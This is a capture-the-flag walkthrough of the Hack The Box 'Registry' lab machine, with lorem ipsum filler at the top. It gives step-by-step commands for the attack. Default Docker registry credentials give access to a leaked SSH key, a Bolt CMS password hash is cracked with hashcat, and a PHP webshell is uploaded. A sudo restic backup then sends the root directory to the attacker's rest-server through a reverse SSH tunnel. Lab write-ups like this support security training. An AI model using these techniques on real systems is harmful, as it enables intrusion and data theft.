Registry - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
hackthebox
Author

0xPThree

Published

October 29, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

██╗ ██╗███████╗███████╗██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██║ ██║███████╗█████╗ ██████╔╝ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ╚██████╔╝███████║███████╗██║ ██║ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝

  1. nmap -Pn -sC -sV -n 10.10.10.159 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA) | 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA) |_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! 443/tcp open ssl/http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! | ssl-cert: Subject: commonName=docker.registry.htb | Not valid before: 2019-05-06T21:14:35 |_Not valid after: 2029-05-03T21:14:35 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  2. Add all names to /etc/hosts root@p3:~# cat /etc/hosts 10.10.10.159 registry.htb registry.htb.local docker.registry.htb

  3. Enumeration with dirb finds.. .. a login prompt at http://docker.registry.htb/v2/ .. a page with scrambled text at http://registry.htb/install/

3.1 (OPTIONAL) The data on registry.htb/install/ is actually not garbage, but gzip compressed data. root@p3:/opt/htb# curl http://registry.htb/install/ -o test | tac | file -b test gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was ““, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1050 0 1050 0 0 15217 0 –:–:– –:–:– –:–:– 15000

 Decompress it using gunzip:
  root@p3:/opt/htb/machines/registry# curl http://registry.htb/install/ -o - | gunzip
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                   Dload  Upload   Total   Spent    Left  Speed
  100  1050    0  1050    0     0  15441      0 --:--:-- --:--:-- --:--:-- 15441
  ca.crt0000775000004100000410000000210613464123607012215 0ustar  www-datawww-data
  -----BEGIN CERTIFICATE-----
  MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
  BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
  MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
  AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
  T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
  zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
  r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
  zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
  qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
  8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
  HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
  LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
  UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
  7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
  CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
  QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
  -----END CERTIFICATE-----
  readme.md0000775000004100000410000000020113472260460012667 0ustar  www-datawww-data
  # Private Docker Registry

  - https://docs.docker.com/registry/deploying/
  - https://docs.docker.com/engine/security/certificates/

  gzip: stdin: unexpected end of file

3.2 (OPTIONAL) Write the certificate - ca.crt - to a file and import it to firefox. Remove the old unsecure https cert to get a secure, trused, connection towards https://docker.registry.htb

  1. Enumeration with nikto finds.. .. Default account found for ‘Registry’ at /v2/_catalog (ID ‘admin’, PW ‘admin’). .. /v2/_catalog: This is the Docker Registry server. This might be interesting…

  2. Using CURL we can browse and download files from the Registry. Note that this can also be done through the browser. Search for available repos: root@p3:/opt/htb# curl -u admin:admin -k –request GET https://docker.registry.htb/v2/_catalog {“repositories”:[“bolt-image”]}

    Browse the repo ‘bolt-image’: root@p3:/opt/htb# curl -u admin:admin -k –request GET https://docker.registry.htb/v2/bolt-image/tags/list# {“name”:“bolt-image”,“tags”:[“latest”]}

    Browse/download the tag ‘latest’, in example below I’ll download it: curl -u admin:admin -k –request GET https://docker.registry.htb/v2/bolt-image/manifests/latest -O % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7439 100 7439 0 0 44544 0 –:–:– –:–:– –:–:– 44544

  3. View the output of the file latest and download all the blobs within. curl -u admin:admin -k -O –request GET .. .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7 .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791 .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0 .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797 .. https://docker.registry.htb/v2/bolt-image/blobs/sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff

    Loot: .. expect “Enter passphrase for /root/.ssh/id_rsa:” send “GkOcz221Ftb3ugog”; .. useradd -m bolt .. id_rsa and id_rsa.pub

  4. Change permissions of id_rsa and login with SSH using found credentials and key (bolt:GkOcz221Ftb3ugog) root@p3:/opt/htb/machines/registry# chmod 600 id_rsa root@p3:/opt/htb/machines/registry# ssh bolt@registry.htb -i id_rsa Enter passphrase for key ‘id_rsa’: Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

     System information as of Tue Oct 29 09:43:36 UTC 2019

 System load:  0.0               Users logged in:                0
 Usage of /:   5.5% of 61.80GB   IP address for eth0:            10.10.10.159
 Memory usage: 22%               IP address for br-1bad9bd75d17: 172.18.0.1
 Swap usage:   0%                IP address for docker0:         172.17.0.1
 Processes:    154

    Last login: Mon Oct 21 10:31:48 2019 from 10.10.14.2 bolt@bolt:~$ bolt@bolt:~$ cat user.txt ytc0****************************

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██████╔╝██║ ██║██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝

  1. Enumerate with lse.sh and find the Bolt git repo /var/www/html/bolt/.git

  2. Look within the repo and find a .db for Bolt. Unable to download the file using http.server and wget so instead use scp locally. root@p3# scp -i id_rsa bolt@registry.htb:/var/www/html/bolt/app/database/bolt.db /opt/htb/machines/registry/ Enter passphrase for key ‘id_rsa’: bolt.db 100% 288KB 1.6MB/s 00:00

  3. Open the .db with SQLite and under table bolt_users you find user ‘admin’ with a password hash.

  4. Crack the hash using hashcat -m3200 (Blowfish) root@p3:/opt/htb/machines/registry# hashcat -a0 -m3200 bolt-hash.txt /usr/share/wordlists/rockyou.txt -o hash-cracked.txt –force root@p3:/opt/htb/machines/registry# cat hash-cracked.txt $2y\(10\)e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK:strawberry

    NOTE: Bolt creds - admin:strawberry

  5. Login as Bolt admin on the login page (found by manually looking through /var/www/html) http://registry.htb/bolt/bolt

  6. Change the Main Configuration to allow .php Uploads Configuration > Main Configuration > Add ‘php’ in the end of ‘accept_file_types’

  7. Upload a php-webshell from the File Management, use it and QUICKLY move the shell back one dir. (files dir auto clears every 60s) mv webshell.php ..

  8. Access the webshell again and continue enumeration as www-data http://registry.htb/bolt/webshell.php?cmd=id

  9. Executing ‘sudo -l’ shows that we have root privs to do a restic backup to a remote REST server. User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*

  10. Install the prerequisites in order to do the backup to your local machine root@p3:/srv# apt install restic root@p3:/srv# apt install golang (required for rest server) root@p3:/srv# git clone https://github.com/restic/rest-server.git root@p3:/srv/rest-server# make install

  11. Locally - create (init) a new Restic repo and start the rest-server. All outgoing traffic from registry.htb is blocked, we can’t wget files, ssh, or push a backup to our local repo. To circumvent this we need to create a SSH-tunnel over port 8000 (rest-server default port). root@p3:/srv# restic init –repo /srv/restic-repo enter password for new repository: (mypass) enter password again: (mypass) created restic repository 817c1fd867 at /srv/restic-repo

    root@p3:/srv# rest-server –path /srv/restic-repo/ –no-auth root@p3:/opt/htb/machines/registry# ssh -R 8000:127.0.0.1:8000 bolt@registry.htb -i id_rsa

  12. On the remote host create a password-file for the restic-repo and backup the /root dir to your local restic repo echo “mypass” > pp

    sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ /root -p pp scan [/root] [0:00] 10 directories, 14 files, 28.066 KiB scanned 10 directories, 14 files in 0:00 [0:00] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00

    duration: 0:00
snapshot 404fffee saved

  13. View your snapshots and backup the root dir from Registry. Grab root.txt root@p3:/srv# restic -r /srv/restic-repo/ snapshots enter password for repository: repository 817c1fd8 opened successfully, password is correct ID Time Host Tags Paths ——————————————————————————— d6a158ec 2019-11-07 10:46:02 p3 /opt/htb/machines/registry 404fffee 2019-11-07 10:48:05 bolt /root ——————————————————————————— 2 snapshots

    root@p3:/srv# restic -r /srv/restic-repo/ restore 404fffee –target /opt/htb/machines/registry/restic-restore enter password for repository: repository 817c1fd8 opened successfully, password is correct restoring <Snapshot 404fffee of [/root] at 2019-11-07 09:48:05.721258436 +0000 UTC by root@bolt> to /opt/htb/machines/registry/restic-restore

    root@p3:/srv# tree /opt/htb/machines/registry/restic-restore/ /opt/htb/machines/registry/restic-restore/ └── root ├── config.yml ├── cron.sh └── root.txt

    1 directory, 3 files

    root@p3:/srv# cat /opt/htb/machines/registry/restic-restore/root/root.txt ntrk****************************

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

██╗███╗ ██╗███████╗ ██████╗ ██████╗ ███╗ ███╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██║████╗ ██║██╔════╝██╔═══██╗██╔══██╗████╗ ████║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██╔████╔██║███████║ ██║ ██║██║ ██║██╔██╗ ██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╔╝██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ ██║██║ ╚████║██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝

Docker https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/

Hashcat https://hashcat.net/wiki/doku.php?id=example_hashes

Restic https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html#rest-server https://restic.net/#quickstart https://restic.readthedocs.io/en/latest/050_restore.html#restoring-from-a-snapshot

Rest Server https://github.com/restic/rest-server